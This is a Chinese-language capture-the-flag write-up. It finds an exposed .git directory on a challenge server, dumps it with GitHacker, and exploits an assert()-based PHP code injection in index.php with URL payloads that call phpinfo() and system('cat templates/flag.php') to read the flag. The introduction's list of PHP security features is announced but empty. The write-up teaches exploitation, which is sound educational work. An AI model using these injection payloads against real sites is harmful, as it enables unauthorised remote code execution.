Git源码泄露是指Git代码管理平台(如GitHub、GitLab)上的Git版本控制系统(VCS)源代码被非授权的第三方人员或组织获取和使用的情况。这种泄露可能导致代码、密码、私人密钥等敏感数据暴露,使得Git代码库的安全受到威胁。Git源码泄露可能会导致严重的后果,例如造成恶意代码、信息泄漏、网络攻击等问题。因此,保护Git代码库的安全非常重要,并采取措施防止源码泄露的情况发生。
PHP是一种常用的服务器端脚本语言,安全特性是指在PHP编程中遵循一些安全规则、使用安全函数等,以防止代码被利用来进行攻击。
以下是一些常见的PHP安全特性:
这些安全特性可以提高PHP应用程序的安全性和保护用户的数据,可确保应用程序不会被利用来进行攻击。


打开之后发现有关于gif,php和bootstrap的信息,于是地址栏后面加.git
http://61.147.171.105:52415/.git/
发现存在git目录,使用kali的githacker下载,第一次使用需要安装
pip3 install GitHacker 
githacker使用方法如下:
githacker --url http://61.147.171.105:52415/ --output-folder 1
下载后得到目录文件

经查找只有index存在信息,打开index.php查看代码

关键代码段
// I heard '..' is dangerous!
assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");
// TODO: Make this look nice
assert("file_exists('$file')") or die("That file doesn't exist!");
assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");分析:
assert("xxxxxxxx")函数表示截断,会直接运行其中xxxxx代码,如果xxxxx运行结果为true,则程序继续运行,如果返回false,则返回错误程度中断运行。
strpos函数表示`strpos('$a', '$b')`如果变量a中存在变量b,则返回true,否则返回false
assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");//这个语句用于过滤..
or 和die的作用是如果assert函数执行正确的话,会返回true(这其实就
是“真”),后面的语句就不会执行了。如果assert函数执行失败,就会返回false,那么就会判断后面的表达式是否为真了。
结果执行了die()之后,不管返回什么,程序都已经停止执行了,并且显示指定的出错信息,也就达到了调试的目的。根据此语句可以构造php代码注入
先用phpinfo试一下
http://61.147.171.105:52415/?page=').phpinfo();//
?page=').system('cat templates/flag.php');//构造出
assert("strpos('').system('cat templates/flag.php');//', '..') === false") or die("Detected hacking attempt!");
得到flag:cyberpeace{d62ff931427094f6446bc2d38dce1d0c}